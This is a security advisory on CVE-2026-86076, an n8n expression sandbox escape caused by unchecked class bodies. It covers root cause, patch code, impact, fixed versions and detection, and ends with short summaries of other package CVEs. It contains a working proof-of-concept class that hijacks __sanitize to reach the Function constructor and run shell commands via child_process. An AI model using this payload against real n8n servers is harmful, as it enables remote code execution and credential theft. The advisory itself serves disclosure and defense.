Sep 10, 2026·7 min read·39 visits
A missing ClassBody traversal in n8n's expression sanitizer allows low-privileged users to redefine the '__sanitize' resolver on custom classes, escaping the sandbox to execute arbitrary Node.js commands.
An expression sandbox escape vulnerability exists in n8n due to a missing AST traversal check on ClassBody in the PrototypeSanitizer. This allows authenticated users with low privileges to bypass property checks and achieve remote code execution.
n8n is an extensible workflow automation platform that allows users to design and execute complex logical tasks by connecting diverse nodes. In many workflows, users write inline template expressions or custom JavaScript blocks to dynamically manipulate input data. To prevent untrusted workflow designs from executing arbitrary code on the underlying operating system or accessing forbidden object properties, n8n compiles these expressions within a sandboxed runtime environment. The core implementation of this sandbox relies on AST rewriting to inspect and restrict property access.
The AST parsing mechanism, specifically defined in the PrototypeSanitizer class within packages/workflow/src/expression-sandboxing.ts, serves as the security boundary. When expressions access properties dynamically, the compiler rewrites the operation to inspect the keys at runtime using a validation function. This validation function, dynamically referenced as __sanitize, blocks access to properties like constructor, __proto__, and prototype.
A critical design flaw was discovered in the AST parsing logic where the analyzer did not traverse or validate structures inside a ClassBody node. This omission allows an authenticated user to declare a class containing a field or method named __sanitize. Because this field is resolved dynamically through the runtime's evaluation context, the attacker-defined sanitization bypass overrides the built-in sandbox security checks, enabling arbitrary property access and remote code execution.
The root cause of this sandbox escape resides in the interaction between static AST-based safety checks and dynamic JavaScript scope resolution. The PrototypeSanitizer is built using a visitor pattern that traverses the nodes of a compiled AST. When the compiler encounters variable declarations, functions, catch blocks, and class definitions, it runs validation checks to ensure reserved identifiers such as __sanitize or ___n8n_data are not declared or reassigned. However, the traversal logic completely lacked a visitor hook for ClassBody AST nodes.
Because the compiler did not visit ClassBody nodes, any field declarations or method definitions within a class were ignored during static validation. An attacker could therefore declare a class containing a field named __sanitize without triggering any validation exceptions or compiler rejections. The static validator only checked the class declaration identifier itself, leaving the internal body completely unverified.
At execution time, the sandboxed template engine translates dynamic brackets access like obj[key] to obj[___n8n_data.__sanitize(key)]. If the dynamic expression is evaluated within a class method, the runtime scope resolves the call to the contextual this reference. When the class method executes this['constructor'], the compiled AST attempts to resolve this.__sanitize('constructor'). Because the class instance itself declares a custom, unrestricted __sanitize field, the JavaScript runtime executes this attacker-defined function instead of the official sanitizer, returning the 'constructor' string unmodified and bypassing the safety boundary.
To remediate the vulnerability, n8n developers updated packages/workflow/src/expression-sandboxing.ts by adding an AST visitor for ClassBody nodes and introducing helper utilities to statically parse property keys. The patched code includes the visitClassBody hook, which examines the body array of each class structure. This ensures that any static declarations of class properties, methods, or constructors are validated prior to execution.
// Patched AST check targeting ClassBody nodes
visitClassBody(path) {
// Traverses internal nodes of the class body
this.traverse(path);
const members = path.node.body;
if (!Array.isArray(members)) return;
// Iterate through every defined member inside the class
for (const member of members) {
if (!isAstNode(member)) continue;
// Avoid checking dynamic computed identifier keys (which are variables)
if (member.computed && isAstNode(member.key) && member.key.type === 'Identifier') continue;
// Extract static names from Identifiers, Literals, or StringLiterals
const memberKey = getReservedMemberKey(member.key);
if (memberKey !== undefined) {
// Fail compilation if the member overrides a reserved name like '__sanitize'
throw new ExpressionReservedVariableError(memberKey);
}
}
}Additionally, the patch introduced getReservedMemberKey and getStaticTemplateValue functions to safely inspect computed and static member names. This prevents attackers from bypassing the check using string or template literals. By statically analyzing the keys and comparing them against the RESERVED_VARIABLE_NAMES set, the sandbox compiler successfully detects and blocks any class member declaration that attempts to hijack sandbox-related helper methods.
This patch provides complete validation for class scopes, effectively blocking the dynamic override vector. Because the compiler now rejects any class definitions containing the reserved identifiers, the execution engine is prevented from resolving the hijacked sanitizer dynamically. This effectively mitigates the sandbox escape without impacting legitimate class expressions that utilize standard, non-reserved property names.
Exploitation of CVE-2026-86076 requires low-privileged credentials to author or edit workflows within n8n. The attacker begins by introducing a custom Node.js execution step (such as a Code Node) or crafting an inline template expression within an arbitrary standard node. The payload contains a class structure designed to override the sanitizer function.
// Exploitation payload illustrating the sanitizer override
class SandboxEscape {
// Declare the class field to override the sandbox resolver
__sanitize = function(val) {
return val; // Bypasses security validations by returning the string unchanged
};
exploit() {
// Resolves the class constructor via hijacked property resolution
const classConstructor = this['constructor'];
// Reaches the global Function constructor to instantiate raw code execution
const FunctionConstructor = classConstructor['constructor'];
// Command to execute on the hosting server
const payload = "const cp = globalThis.process.mainModule.require('child_process'); return cp.execSync('id; uname -a').toString();";
const trigger = FunctionConstructor(payload);
return trigger();
}
}
const escapeInstance = new SandboxEscape();
escapeInstance.exploit();When this payload is submitted, the workflow engine compiles the expression without error because the vulnerable engine fails to evaluate the internal members of SandboxEscape. Once executed, the workflow engine runs escapeInstance.exploit(). The lookup of this['constructor'] is transformed into this[this.__sanitize('constructor')] by the compiler, which subsequently calls the local overridden __sanitize function.
The hijacked __sanitize function returns the string 'constructor' to the compiler wrapper, allowing direct access to the Function class constructor. This constructor is evaluated under the context of the main Node.js process, which allows executing operating system commands through the child_process module. The command execution inherits the privileges of the system user running the n8n application process.
The successful exploitation of CVE-2026-86076 has serious security implications for both the hosting infrastructure and user browser environments. On the server side, an attacker with workflow creation permissions can execute arbitrary shell commands under the context of the n8n service account. This access permits attackers to read sensitive configuration values, extract connected credentials or API tokens, and pivot to adjacent internal networks.
In addition to backend code execution, this vulnerability facilitates a client-side execution path. Because workflow expressions are also evaluated within the n8n Editor UI during the node preview phase, any user viewing or editing a shared workflow containing the payload will trigger the JavaScript execution inside their local browser session. This stored cross-user JavaScript execution (stored XSS equivalent) can be leveraged to hijack session tokens, perform actions on behalf of admin users, or manipulate workflow configurations.
The official CVSS v4.0 score is rated at 8.7 (High), reflecting the network-based attack vector and high impact across the confidentiality, integrity, and availability of the system. While exploitation requires low-privileged user access to edit workflows, the overall lack of direct user interaction requirements once the workflow is run or viewed dramatically elevates the threat posture of exposed n8n interfaces.
The primary and recommended remediation is updating the n8n installation to the patched versions. Organizations should identify their active branch and apply the corresponding security update. For installations on the v1.x branch, the patch is available starting with version 1.123.76. For the v2.37.x branch, users must upgrade to at least 2.37.7, and for the v2.38.x branch, to at least 2.38.2.
In environments where immediate upgrading is not feasible, administrators must implement access control restrictions to limit the attack surface. Disabling self-registration and enforcing strict Role-Based Access Control (RBAC) ensures only highly trusted administrators can create or edit workflow configurations. Because the exploit relies on the presence of the __sanitize string within workflow nodes, database monitoring can be used to identify potential abuse.
Administrators can execute targeted database queries to scan stored workflows for indicators of compromise. Executing a search query against the workflow_entity database table for occurrences of the string __sanitize can identify malicious payloads. Any workflow found containing this property should be deactivated and reviewed immediately for potential code injection artifacts.
CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:N/SA:N| Product | Affected Versions | Fixed Version |
|---|---|---|
n8n n8n | < 1.123.76 | 1.123.76 |
n8n n8n | >= 2.0.0, < 2.37.7 | 2.37.7 |
n8n n8n | >= 2.38.0, < 2.38.2 | 2.38.2 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-94 |
| Attack Vector | Network |
| CVSS Score | 8.7 (High) |
| Impact | Remote Code Execution (RCE) / Stored Cross-User JavaScript Execution |
| Exploit Status | PoC (Proof of Concept) Feasible |
| KEV Status | Not Listed |
The platform constructs or evaluates code using input containing code-like structures, which can allow arbitrary execution of malicious payloads.
CVE-2026-115895 is a high-severity code injection vulnerability (CWE-94) in the happy-dom npm package prior to version 21.0.4. The vulnerability exists within the ECMAScriptModuleCompiler component, which transforms ECMAScript module syntax into executable Node.js functions when JavaScript evaluation is enabled. Due to an incomplete fix for CVE-2026-33943, the compiler failed to validate local named import aliases against legal JavaScript identifier rules. Attackers supplying crafted module imports—specifically utilizing destructuring default initializers alongside JSON module attributes—can inject arbitrary JavaScript expressions directly into the host Node.js runtime context.
An improper input validation and authorization bypass vulnerability exists in the LangGraph storage layer affecting langgraph, langgraph-checkpoint-postgres, and langgraph-checkpoint-sqlite. Because relational store implementations serialize namespace tuples into dot-delimited strings without validating labels on read, search, delete, and batch operations, an attacker who controls a namespace label can inject periods (.) to traverse namespace boundaries and access, modify, or delete data belonging to other namespaces.
CVE-2026-115886 (GHSA-2wqp-q3c6-ccj5) is a Server-Side Request Forgery (SSRF) and Unsafe Reflection vulnerability in MLflow versions 3.12.0rc0 prior to 3.17.0. Unauthenticated REST API endpoints accept serialized third-party scorer JSON payloads that are dynamically deserialized and reflectively instantiated without sanitizing constructor keyword arguments. When optional dependencies such as trulens and trulens-providers-litellm are installed, attackers can inject egress-steering arguments into the scorer payload, forcing the MLflow server to dispatch outbound HTTP requests to arbitrary internal destinations or cloud metadata services.
CVE-2026-113872 (GHSA-q7qp-rjg7-q26m) is a high-severity denial-of-service vulnerability affecting the multer multipart/form-data upload middleware for Node.js and Express in versions 2.0.0 through 2.4.0. When an endpoint is configured to accept multiple files using an asynchronous fileFilter callback, a crafted, truncated multipart HTTP request can trigger an unhandled error event on the underlying busboy stream parser after request teardown has already completed. Because all error listeners are stripped during teardown, Node.js treats the resulting error event as an uncaught exception and immediately terminates the server process.
CVE-2026-115897 (also tracked as GHSA-m5mm-p8h7-m29v and aliased as CVE-2026-115754) is a Cross-Site Scripting (XSS) vulnerability in the Yahoo serialize-javascript npm package prior to version 7.1.3. The flaw exists in the regular expression used by escapeFunctionBody() to neutralize HTML script closing tags within serialized JavaScript functions. Because function bodies are sanitized in isolation before structural formatting is applied, a function whose string representation terminates directly with the sequence '</script' bypasses the positive lookahead check. When combined with serialization formatting options that introduce whitespace delimiters and a subsequent property that supplies a closing bracket, an attacker can prematurely terminate an enclosing HTML <script> block and inject arbitrary HTML or JavaScript into the rendered document.
CVE-2026-109841 is a Subresource Integrity (SRI) verification bypass vulnerability in undici, the official HTTP/1.1 and HTTP/2 client library for Node.js that powers the global fetch() implementation. The flaw stems from improper handling of case sensitivity (CWE-178) when validating cryptographic hash algorithm tokens within SRI metadata. Because undici compared incoming algorithm identifiers against a strictly lowercase set without prior ASCII-lowercase normalization, valid uppercase or mixed-case tokens such as SHA256- or Sha384- were treated as unrecognized algorithms and discarded. Under SRI forward-compatibility rules, discarding all provided tokens results in an empty integrity list, causing undici to fail open and accept tampered HTTP response bodies without cryptographic verification.